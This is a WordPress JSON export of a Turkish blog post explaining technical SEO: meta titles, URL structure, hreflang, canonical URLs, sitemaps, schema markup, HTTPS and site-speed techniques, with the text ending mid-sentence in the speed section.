{"id":28151,"date":"2024-06-20T20:52:45","date_gmt":"2024-06-20T20:52:45","guid":{"rendered":"https:\/\/roible.com\/?p=28151"},"modified":"2026-01-06T12:34:34","modified_gmt":"2026-01-06T09:34:34","slug":"teknik-seo","status":"publish","type":"post","link":"https:\/\/roible.com\/tr\/teknik-seo\/","title":{"rendered":"Teknik SEO Nedir?"},"content":{"rendered":"<p>Teknik SEO, bir web sitesinin arama motorundaki performans\u0131n\u0131 artt\u0131rmak ad\u0131na yapt\u0131\u011f\u0131 site i\u00e7i optimizasyon \u00e7al\u0131\u015fmalar\u0131n\u0131n genel ad\u0131d\u0131r. Teknik SEO, genellikle bir web sitesinin arama motorlar\u0131 taraf\u0131ndan daha net anla\u015f\u0131lmas\u0131n\u0131 ve indekslenmesini sa\u011flayacak teknik unsurlara odaklan\u0131r. Fakat kullan\u0131c\u0131 memnuniyetini art\u0131racak \u00f6\u011feleri de i\u00e7erir. Teknik SEO, i\u00e7erik kalitesi, ba\u011flant\u0131lar gibi di\u011fer SEO \u00e7al\u0131\u015fmalar\u0131 ile birlikte \u00e7al\u0131\u015farak arama motorlar\u0131ndaki s\u0131ralamay\u0131 y\u00fckseltmeyi hedefler.<\/p>\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_82_2 ez-toc-wrap-left counter-hierarchy ez-toc-counter ez-toc-grey ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title\" style=\"cursor:inherit\">\u0130\u00e7indekiler<\/p>\n<span class=\"ez-toc-title-toggle\"><a href=\"#\" class=\"ez-toc-pull-right ez-toc-btn ez-toc-btn-xs ez-toc-btn-default ez-toc-toggle\" aria-label=\"\u0130\u00e7indekiler Tablosunu A\u00e7\/Kapat\"><span class=\"ez-toc-js-icon-con\"><span class=\"\"><span class=\"eztoc-hide\" style=\"display:none;\">Toggle<\/span><span class=\"ez-toc-icon-toggle-span\"><svg style=\"fill: #999;color:#999\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #999;color:#999\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/span><\/span><\/a><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-1'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/roible.com\/tr\/teknik-seo\/#Teknik_SEO_Nasil_Yapilir\" >Teknik SEO Nas\u0131l Yap\u0131l\u0131r?<\/a><ul class='ez-toc-list-level-2' ><li class='ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/roible.com\/tr\/teknik-seo\/#Sayfa_Basliklari_ve_Meta_Aciklamalar\" >Sayfa Ba\u015fl\u0131klar\u0131 ve Meta A\u00e7\u0131klamalar<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/roible.com\/tr\/teknik-seo\/#URL_Optimizasyonu\" >URL Optimizasyonu<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/roible.com\/tr\/teknik-seo\/#SEO_Dostu_URL\" >SEO Dostu URL<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/roible.com\/tr\/teknik-seo\/#Cok_Dilli_Web_Siteleri\" >\u00c7ok Dilli Web Siteleri<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/roible.com\/tr\/teknik-seo\/#Canonical_URL_kullanimi\" >Canonical URL kullan\u0131m\u0131<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/roible.com\/tr\/teknik-seo\/#Navigasyon_ve_Site_Yapisi\" >Navigasyon ve Site Yap\u0131s\u0131<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"https:\/\/roible.com\/tr\/teknik-seo\/#XML_Site_Haritasi\" >XML Site Haritas\u0131<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-9\" href=\"https:\/\/roible.com\/tr\/teknik-seo\/#Breadcrumb_Menuler_ve_Pagination\" >Breadcrumb Men\u00fcler ve Pagination<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-10\" href=\"https:\/\/roible.com\/tr\/teknik-seo\/#Yapisal_Veriler_Schema_Markup\" >Yap\u0131sal Veriler (Schema Markup)<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-11\" href=\"https:\/\/roible.com\/tr\/teknik-seo\/#Sunucu_Optimizasyonu\" >Sunucu Optimizasyonu<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-12\" href=\"https:\/\/roible.com\/tr\/teknik-seo\/#HTTPS_ve_Guvenlik\" >HTTPS ve G\u00fcvenlik<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-13\" href=\"https:\/\/roible.com\/tr\/teknik-seo\/#Web_site_Hizi_ve_Medya_Optimizasyonu\" >Web site H\u0131z\u0131 ve Medya Optimizasyonu<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-14\" href=\"https:\/\/roible.com\/tr\/teknik-seo\/#Rendering_Sistemleri\" >Rendering Sistemleri<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-15\" href=\"https:\/\/roible.com\/tr\/teknik-seo\/#Mobil_Uyumluluk\" >Mobil Uyumluluk<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-16\" href=\"https:\/\/roible.com\/tr\/teknik-seo\/#CSSJavaScript\" >CSS\/JavaScript<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-17\" href=\"https:\/\/roible.com\/tr\/teknik-seo\/#AMP_Accelerated_Mobile_Pages\" >AMP (Accelerated Mobile Pages)<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-18\" href=\"https:\/\/roible.com\/tr\/teknik-seo\/#PWA_Progressive_Web_Apps\" >PWA (Progressive Web Apps)<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-19\" href=\"https:\/\/roible.com\/tr\/teknik-seo\/#Core_Web_Vitals_CWV\" >Core Web Vitals (CWV)<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-20\" href=\"https:\/\/roible.com\/tr\/teknik-seo\/#Robotstxt\" >Robots.txt<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-21\" href=\"https:\/\/roible.com\/tr\/teknik-seo\/#Site_Ici_Baglantilar\" >Site \u0130\u00e7i Ba\u011flant\u0131lar<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-22\" href=\"https:\/\/roible.com\/tr\/teknik-seo\/#HTTP_Durum_Kodlari_ve_URL_Yonlendirmeleri\" >HTTP Durum Kodlar\u0131 ve URL Y\u00f6nlendirmeleri<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-23\" href=\"https:\/\/roible.com\/tr\/teknik-seo\/#100ler_ve_200ler\" >100&#8217;ler ve 200&#8217;ler<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-24\" href=\"https:\/\/roible.com\/tr\/teknik-seo\/#300ler_URL_Yonlendirmeleri\" >300&#8217;ler URL Y\u00f6nlendirmeleri<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-25\" href=\"https:\/\/roible.com\/tr\/teknik-seo\/#400ler\" >400&#8217;ler<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-26\" href=\"https:\/\/roible.com\/tr\/teknik-seo\/#500ler\" >500&#8217;ler<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-27\" href=\"https:\/\/roible.com\/tr\/teknik-seo\/#Alan_Adi_Tercihi\" >Alan Ad\u0131 Tercihi<\/a><\/li><\/ul><\/li><\/ul><\/nav><\/div>\n<h1><span class=\"ez-toc-section\" id=\"Teknik_SEO_Nasil_Yapilir\"><\/span>Teknik SEO Nas\u0131l Yap\u0131l\u0131r?<span class=\"ez-toc-section-end\"><\/span><\/h1>\n<p>Teknik SEO kapsaml\u0131 bir \u00e7al\u0131\u015fmad\u0131r ve web sitenizi bir \u00e7ok farkl\u0131 a\u00e7\u0131dan geli\u015ftirmenizi gerektirir. \u00d6ncesinde web sitenizi ve rakiplerinizi analiz etmeniz daha do\u011fru bir yakla\u015f\u0131ma sahip olman\u0131z\u0131 sa\u011flayabilir. Fakat a\u015fa\u011f\u0131daki ba\u015fl\u0131klar\u0131 takip etmek web sitenin eksiklerini gidermek i\u00e7in iyi bir yol haritas\u0131 sa\u011flar.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Sayfa_Basliklari_ve_Meta_Aciklamalar\"><\/span>Sayfa Ba\u015fl\u0131klar\u0131 ve Meta A\u00e7\u0131klamalar<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Ba\u015fl\u0131klar ve a\u00e7\u0131klamalar SEO performans\u0131n\u0131z i\u00e7in \u00f6nemlidir. Her sayfan\u0131z\u0131n benzersiz bir ba\u015fl\u0131\u011fa ve meta a\u00e7\u0131klamas\u0131na sahip olmas\u0131 gerekir. Bu a\u00e7\u0131klamalar hem taray\u0131c\u0131lar hem de kullan\u0131c\u0131lar i\u00e7in \u00f6nemlidir. Daha da detayland\u0131rmak gerekirse:<\/p>\n<p><strong>Sayfa Ba\u015fl\u0131klar\u0131<\/strong><\/p>\n<p>Arama motorlar\u0131n\u0131n sayfan\u0131n konusunu anlamas\u0131n\u0131 sa\u011flar. Arama sonu\u00e7lar\u0131nda g\u00f6z\u00fckebilece\u011fi i\u00e7in a\u00e7\u0131klay\u0131c\u0131 ve anlaml\u0131 olmal\u0131d\u0131r. Anahtar kelimeler i\u00e7erebilir fakat 50-60 karakter aras\u0131nda tutulmal\u0131d\u0131r. 70 karakteri ge\u00e7en sayfa ba\u015fl\u0131klar\u0131 SERP\u2019te tamam\u0131yla g\u00f6z\u00fckmeyece\u011fi i\u00e7in tavsiye edilmez.<\/p>\n<p><strong>Meta A\u00e7\u0131klamalar<\/strong><\/p>\n<p>Sayfa ba\u015fl\u0131\u011f\u0131n\u0131n ard\u0131ndan gelen meta a\u00e7\u0131klamalar, kullan\u0131c\u0131lara sayfan\u0131n i\u00e7eri\u011fini \u00f6zetler. Genellikle 150-160 karakter aras\u0131ndad\u0131r. Benzer \u015fekilde anahtar kelimeler i\u00e7erebilir ancak \u00f6zetleyici, kullan\u0131c\u0131y\u0131 harekete ge\u00e7irecek ve ak\u0131c\u0131 olmas\u0131 gerekir. Arama motoru taray\u0131c\u0131lar\u0131 a\u00e7\u0131s\u0131ndan \u00f6nem ta\u015f\u0131masa da her sayfan\u0131n mutlaka bir meta a\u00e7\u0131klamas\u0131 olmas\u0131 gerekir. Meta a\u00e7\u0131klamalar\u0131, kullan\u0131c\u0131lar\u0131n sayfan\u0131za t\u0131klama oran\u0131n\u0131 artt\u0131rabilir.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"URL_Optimizasyonu\"><\/span>URL Optimizasyonu<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Web sitenizdeki URL yap\u0131lar\u0131 d\u00fczenli ve g\u00fcncel tutulmal\u0131d\u0131r. Hem kullan\u0131c\u0131lar hem de arama motoru taray\u0131c\u0131lar\u0131 i\u00e7in URL optimizasyonu yapman\u0131z i\u00e7in birka\u00e7 ad\u0131m\u0131 takip etmeniz gerekir.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"SEO_Dostu_URL\"><\/span>SEO Dostu URL<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>Arama motorlar\u0131n\u0131n anlayabilece\u011fi, SEO dostu URL\u2019lere sahip olmak i\u00e7in a\u015fa\u011f\u0131daki noktalara dikkat etmeniz gerekir.<\/p>\n<ul>\n<li><strong>Anla\u015f\u0131labilirlik:<\/strong> URL\u2019lerin okunabilir ve mant\u0131kl\u0131 olmas\u0131 gerekir. K\u0131sa ve anlaml\u0131 bir \u015fekilde i\u00e7eri\u011fi yans\u0131tmal\u0131d\u0131r.<\/li>\n<li><strong>Kategoriler:<\/strong> Alt klas\u00f6rler veya dizinler olu\u015fturarak daha d\u00fczenli URL\u2019lere sahip olabilirsiniz.<\/li>\n<li><strong>Harf B\u00fcy\u00fckl\u00fc\u011f\u00fc ve Karakterler:<\/strong> URL\u2019ler harf b\u00fcy\u00fckl\u00fc\u011f\u00fcne duyarl\u0131d\u0131r. B\u00fcy\u00fck harfler ve kelimelerin aras\u0131ndaki bo\u015fluk daha fazla yer kaplad\u0131\u011f\u0131 i\u00e7in bunlardan ka\u00e7\u0131n\u0131lmal\u0131d\u0131r.<\/li>\n<\/ul>\n<p>\u00d6rne\u011fin \u201chttps:\/\/roible.com\/tr\/icerik-ajansi\u201d uygun bir URL\u2019dir.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Cok_Dilli_Web_Siteleri\"><\/span>\u00c7ok Dilli Web Siteleri<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>E\u011fer web siteniz \u00e7ok dilli ise URL yap\u0131land\u0131rmalar\u0131n\u0131 d\u00fczenlemeniz gerekir. \u201chreflang\u201d HTML etiketi ile arama motorlar\u0131 kullan\u0131c\u0131lara uygun dildeki i\u00e7erikleri sunar. Dil ve b\u00f6lge etiketlemeleri yaparak i\u00e7eriklerinizin hedef kitlenize ula\u015fmas\u0131n\u0131 sa\u011flayabilirsiniz.<\/p>\n<p>Web sitenizdeki dil kar\u0131\u015f\u0131kl\u0131\u011f\u0131n\u0131 \u00f6nlemek i\u00e7in a\u015fa\u011f\u0131daki \u00f6rne\u011fe benzer y\u00f6nlendirmeler yapabilirsiniz:<\/p>\n<p><img fetchpriority=\"high\" decoding=\"async\" class=\"alignnone wp-image-28152 \" src=\"https:\/\/roible.com\/wp-content\/uploads\/2024\/06\/cok-dilli-siteler-icin-seo.png\" alt=\"\" width=\"748\" height=\"80\" srcset=\"https:\/\/roible.com\/wp-content\/uploads\/2024\/06\/cok-dilli-siteler-icin-seo.png 1006w, https:\/\/roible.com\/wp-content\/uploads\/2024\/06\/cok-dilli-siteler-icin-seo-300x32.png 300w, https:\/\/roible.com\/wp-content\/uploads\/2024\/06\/cok-dilli-siteler-icin-seo-768x82.png 768w, https:\/\/roible.com\/wp-content\/uploads\/2024\/06\/cok-dilli-siteler-icin-seo-710x76.png 710w\" sizes=\"(max-width: 748px) 100vw, 748px\" \/><\/p>\n<p>Hreflang etiketini kullan\u0131rken \u00e7ift y\u00f6nl\u00fcl\u00fc\u011f\u00fc korumal\u0131s\u0131n\u0131z. Birbirinin dil kar\u015f\u0131l\u0131\u011f\u0131 olan her sayfaya etiketi eklerseniz arama motoru sayfalar aras\u0131ndaki ili\u015fkiyi anlayacakt\u0131r.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Canonical_URL_kullanimi\"><\/span>Canonical URL kullan\u0131m\u0131<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>Web sitenizde benzer i\u00e7erikler bulunuyor ise canonical URL kullanman\u0131z \u015fartt\u0131r. Taray\u0131c\u0131lar web sitenizde benzer i\u00e7erikler tespit ederse sayfan\u0131z kopya i\u00e7erik olarak i\u015faretlenebilir. Bu durumdan ka\u00e7\u0131nmak i\u00e7in canonical URL kullanarak durumunuzu taray\u0131c\u0131lara g\u00f6sterebilirsiniz.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Navigasyon_ve_Site_Yapisi\"><\/span>Navigasyon ve Site Yap\u0131s\u0131<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Organize bir site yap\u0131s\u0131 ve anla\u015f\u0131l\u0131r bir navigasyon ile web sitenizi geli\u015ftirebilirsiniz. Site yap\u0131s\u0131 hem arama motoru taray\u0131c\u0131lar\u0131 i\u00e7in hem de m\u00fc\u015fterileriniz i\u00e7in \u00f6nemlidir. \u0130\u00e7eriklerinizi anlaml\u0131 ve basit kategorilere ay\u0131rmak kullan\u0131c\u0131lar\u0131n arad\u0131klar\u0131n\u0131 bulmalar\u0131n\u0131 kolayla\u015ft\u0131racakt\u0131r. Anla\u015f\u0131labilir bir navigasyon tasar\u0131m\u0131 ile de kullan\u0131c\u0131 deneyimi geli\u015fecektir.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"XML_Site_Haritasi\"><\/span>XML Site Haritas\u0131<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>Arama motoru taray\u0131c\u0131lar\u0131n\u0131n sitenizi anlamas\u0131 i\u00e7in XML site haritas\u0131 olu\u015fturmak \u00f6nemli bir ad\u0131md\u0131r. Taray\u0131c\u0131lar, site haritas\u0131n\u0131 g\u00f6z \u00f6n\u00fcnde bulundurarak siteyi taramaktad\u0131r. Bu nedenle hiyerar\u015fiye dikkat ederek linkleri, kategorileri ve sayfalar\u0131 eklemeniz tavsiye edilir.<\/p>\n<p>Ayr\u0131ca uzun soluklu bir SEO \u00e7al\u0131\u015fmas\u0131 i\u00e7in dinamik bir XML haritas\u0131 olu\u015fturman\u0131z gerekir. URL\u2019leriniz veya y\u00f6nlendirmeleriniz zaman i\u00e7inde de\u011fi\u015fiklik g\u00f6sterebilir. Bu nedenle dinamik bir harita ile manuel g\u00fcncelleme yapmaya ihtiyac\u0131n\u0131z olmayacakt\u0131r. Site haritas\u0131 olu\u015ftururken dikkat etmeniz gereken bir di\u011fer konu ise sayfa say\u0131s\u0131d\u0131r. Tek bir site haritas\u0131 50 binden fazla URL i\u00e7eremez.<\/p>\n<p><a href=\"https:\/\/developers.google.com\/search\/docs\/crawling-indexing\/sitemaps\/overview?hl=tr\" rel=\"nofollow noopener\" target=\"_blank\">Google\u2019\u0131n site haritas\u0131 rehberini <\/a>okuyarak XML dahil site haritalar\u0131 ile ilgili bilgi edinebilirsiniz.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Breadcrumb_Menuler_ve_Pagination\"><\/span>Breadcrumb Men\u00fcler ve Pagination<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>Breadcrumbs, sayfa yol i\u015faretleyicisidir. Taray\u0131c\u0131lar ve ziyaret\u00e7ilerin deneyimi a\u00e7\u0131s\u0131ndan \u00f6zellikle e-ticaret web sitelerinin kullanmas\u0131 \u00f6nerilir. Breadcrumb men\u00fcler sayfalar aras\u0131ndaki hiyerar\u015fiyi ve gezinmeyi kolayla\u015ft\u0131rd\u0131\u011f\u0131 i\u00e7in tavsiye edilir. A\u015fa\u011f\u0131daki g\u00f6rselde bir breadcrumb men\u00fc \u00f6rne\u011fi bulunmaktad\u0131r:<\/p>\n<p><img decoding=\"async\" class=\"alignnone wp-image-28154 \" src=\"https:\/\/roible.com\/wp-content\/uploads\/2024\/06\/breadcrumb-menu-1024x440.png\" alt=\"\" width=\"686\" height=\"295\" srcset=\"https:\/\/roible.com\/wp-content\/uploads\/2024\/06\/breadcrumb-menu-1024x440.png 1024w, https:\/\/roible.com\/wp-content\/uploads\/2024\/06\/breadcrumb-menu-300x129.png 300w, https:\/\/roible.com\/wp-content\/uploads\/2024\/06\/breadcrumb-menu-768x330.png 768w, https:\/\/roible.com\/wp-content\/uploads\/2024\/06\/breadcrumb-menu-710x305.png 710w, https:\/\/roible.com\/wp-content\/uploads\/2024\/06\/breadcrumb-menu.png 1118w\" sizes=\"(max-width: 686px) 100vw, 686px\" \/><\/p>\n<p>Kullan\u0131c\u0131lar breadcrumb men\u00fcy\u00fc kullanarak kolayl\u0131kla \u00fcst kategorilere ula\u015fabilmektedir.<\/p>\n<p>Sayfalama olarak \u00e7evrilen pagination da ayn\u0131 amaca hizmet eder. Ad\u0131n\u0131n belirtti\u011fi \u00fczere web i\u00e7eriklerinin sayfalara ayr\u0131lmas\u0131na denir. Benzer \u015fekilde genellikle e-ticaret sitelerinde numaralanm\u0131\u015f sayfalar\u0131n kullan\u0131m\u0131 ile kar\u015f\u0131la\u015f\u0131l\u0131r.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Yapisal_Veriler_Schema_Markup\"><\/span>Yap\u0131sal Veriler (Schema Markup)<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Yap\u0131sal yani organize edilmi\u015f veriler, arama motorlar\u0131n\u0131n arama sorgular\u0131n\u0131 anlamland\u0131rmas\u0131n\u0131 sa\u011flar. Yap\u0131sal veri i\u015faretlemesi ise arama motorlar\u0131 web sitenizi daha iyi anlar. Yap\u0131sal veri i\u015faretlemesi yaparak web sitenizin hedef kitelenize g\u00f6r\u00fcn\u00fcrl\u00fc\u011f\u00fcn\u00fc artt\u0131rabilirsiniz.<\/p>\n<p>Yap\u0131sal veriler genellikle Schema Markup ya da JSON-LD format\u0131nda eklenir. \u00d6rne\u011fin bir restoran yap\u0131sal veri kullanarak restoran ad\u0131, konumu, \u00e7al\u0131\u015fma saatleri vb. bilgileri belirtebilir. Bu veriler, arama sorgular\u0131nda kullan\u0131c\u0131lar\u0131n kar\u015f\u0131s\u0131na daha fazla bilgi sunarak yard\u0131mc\u0131 olur. A\u015fa\u011f\u0131da yap\u0131sal veri \u00e7e\u015fitlerine \u00f6rnekler listelenmi\u015ftir:<\/p>\n<ul>\n<li>Creative works: <a href=\"https:\/\/schema.org\/CreativeWork\" rel=\"nofollow noopener\" target=\"_blank\">CreativeWork<\/a>, <a href=\"https:\/\/schema.org\/Book\" rel=\"nofollow noopener\" target=\"_blank\">Book<\/a>, <a href=\"https:\/\/schema.org\/Movie\" rel=\"nofollow noopener\" target=\"_blank\">Movie<\/a>, <a href=\"https:\/\/schema.org\/MusicRecording\" rel=\"nofollow noopener\" target=\"_blank\">MusicRecording<\/a>, <a href=\"https:\/\/schema.org\/Recipe\" rel=\"nofollow noopener\" target=\"_blank\">Recipe<\/a>, <a href=\"https:\/\/schema.org\/TVSeries\" rel=\"nofollow noopener\" target=\"_blank\">TVSeries<\/a> &#8230;<\/li>\n<li>Embedded non-text objects: <a href=\"https:\/\/schema.org\/AudioObject\" rel=\"nofollow noopener\" target=\"_blank\">AudioObject<\/a>, <a href=\"https:\/\/schema.org\/ImageObject\" rel=\"nofollow noopener\" target=\"_blank\">ImageObject<\/a>, <a href=\"https:\/\/schema.org\/VideoObject\" rel=\"nofollow noopener\" target=\"_blank\">VideoObject<\/a><\/li>\n<li><a href=\"https:\/\/schema.org\/Event\" rel=\"nofollow noopener\" target=\"_blank\">Event<\/a><\/li>\n<li><a href=\"https:\/\/schema.org\/docs\/meddocs.html\" rel=\"nofollow noopener\" target=\"_blank\">Health and medical types<\/a>: notes on the health and medical types under <a href=\"https:\/\/schema.org\/MedicalEntity\" rel=\"nofollow noopener\" target=\"_blank\">MedicalEntity<\/a>.<\/li>\n<li><a href=\"https:\/\/schema.org\/Organization\" rel=\"nofollow noopener\" target=\"_blank\">Organization<\/a><\/li>\n<li><a href=\"https:\/\/schema.org\/Person\" rel=\"nofollow noopener\" target=\"_blank\">Person<\/a><\/li>\n<li><a href=\"https:\/\/schema.org\/Place\" rel=\"nofollow noopener\" target=\"_blank\">Place<\/a>, <a href=\"https:\/\/schema.org\/LocalBusiness\" rel=\"nofollow noopener\" target=\"_blank\">LocalBusiness<\/a>, <a href=\"https:\/\/schema.org\/Restaurant\" rel=\"nofollow noopener\" target=\"_blank\">Restaurant<\/a> &#8230;<\/li>\n<li><a href=\"https:\/\/schema.org\/Product\" rel=\"nofollow noopener\" target=\"_blank\">Product<\/a>, <a href=\"https:\/\/schema.org\/Offer\" rel=\"nofollow noopener\" target=\"_blank\">Offer<\/a>, <a href=\"https:\/\/schema.org\/AggregateOffer\" rel=\"nofollow noopener\" target=\"_blank\">AggregateOffer<\/a><\/li>\n<li><a href=\"https:\/\/schema.org\/Review\" rel=\"nofollow noopener\" target=\"_blank\">Review<\/a>, <a href=\"https:\/\/schema.org\/AggregateRating\" rel=\"nofollow noopener\" target=\"_blank\">AggregateRating<\/a><\/li>\n<li><a href=\"https:\/\/schema.org\/Action\" rel=\"nofollow noopener\" target=\"_blank\">Action<\/a><\/li>\n<\/ul>\n<h2><span class=\"ez-toc-section\" id=\"Sunucu_Optimizasyonu\"><\/span>Sunucu Optimizasyonu<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Sunucu optimizasyonu, web sitenizi y\u00fcr\u00fcten sunucunun performans\u0131n\u0131 artt\u0131rmak i\u00e7in yap\u0131lan \u00e7al\u0131\u015fmalar\u0131 kapsar. Bu optimizasyonlar h\u0131zdan g\u00fcvenilirli\u011fe de\u011fi\u015fiklik g\u00f6sterir.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"HTTPS_ve_Guvenlik\"><\/span>HTTPS ve G\u00fcvenlik<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>HTTPS\u2019nin a\u00e7\u0131l\u0131m\u0131 \u201cHyper Text Transfer Protocol Secure\u201dd\u0131r. HTTPS web siteleri aras\u0131nda veri iletimini g\u00fcvence alt\u0131na alan bir protokold\u00fcr. Veri g\u00fcvenli\u011fi a\u00e7\u0131s\u0131ndan \u00f6nem ta\u015f\u0131yan bu protokol ayn\u0131 zamanda kullan\u0131c\u0131lar i\u00e7in de \u00f6nem ta\u015f\u0131r.<\/p>\n<p>G\u00fcncel taray\u0131c\u0131lar HTTPS kullanmayan web sitelerinde uyar\u0131 g\u00f6sterebilir, bu nedenle kullan\u0131c\u0131lar web sitenizden ayr\u0131labilir. Ki\u015fisel veya finansal bilgi payla\u015f\u0131m\u0131 yapan kullan\u0131c\u0131lar da verilerinin \u015fifrelenmesini tercih edebilir.<\/p>\n<h4>SSL Sertifikalar\u0131<\/h4>\n<p>HTTPS ad\u0131na SSL yani \u201cSecure Sockets Layer\u201d sertifikas\u0131 alman\u0131z tavsiye edilir. SSL, kullan\u0131c\u0131 deneyimini geli\u015ftirmek ile birlikte size arama motorlar\u0131nda \u00f6ncelik sa\u011flayacakt\u0131r. Bir SSL sertifikas\u0131 sat\u0131n al\u0131p bu avantajlardan yararlanman\u0131z kolay bir s\u00fcre\u00e7tir. Sat\u0131n ald\u0131ktan sonra SSL sertifikas\u0131n\u0131 sunucunuzda etkinle\u015ftirmeniz gerekir. Ard\u0131ndan ba\u011flant\u0131lar\u0131n\u0131z\u0131 g\u00fcncelleyince SSL sertifikal\u0131 bir web sitesine sahip olacaks\u0131n\u0131z.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Web_site_Hizi_ve_Medya_Optimizasyonu\"><\/span>Web site H\u0131z\u0131 ve Medya Optimizasyonu<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>Web sitenizi h\u0131zland\u0131rmak ve kullan\u0131c\u0131 deneyimini geli\u015ftirmek i\u00e7in a\u015fa\u011f\u0131daki y\u00f6ntemleri uyguluyabailirsiniz.<\/p>\n<ul>\n<li><strong>Web \u00d6nbellekleme (Caching):<\/strong> S\u0131kl\u0131kla kullan\u0131lan verileri sunucuda saklayarak sayfa y\u00fckleme h\u0131z\u0131 artt\u0131r\u0131l\u0131r.<\/li>\n<li><strong>CDN Kullan\u0131m\u0131:<\/strong> CDN yani \u0130\u00e7erik Da\u011f\u0131t\u0131m A\u011f\u0131 ile i\u00e7eriklerinizi farkl\u0131 sunucularda saklayabilirsiniz. Bu sayede kullan\u0131c\u0131lar kendilerine yak\u0131n olan sunucuya eri\u015ferek daha h\u0131zl\u0131 bir performans ile kar\u015f\u0131la\u015f\u0131r.<\/li>\n<li><strong>Gzip S\u0131k\u0131\u015ft\u0131rmas\u0131:<\/strong> Web sunucusu, dosyalar\u0131 s\u0131k\u0131\u015ft\u0131rarak daha h\u0131zl\u0131 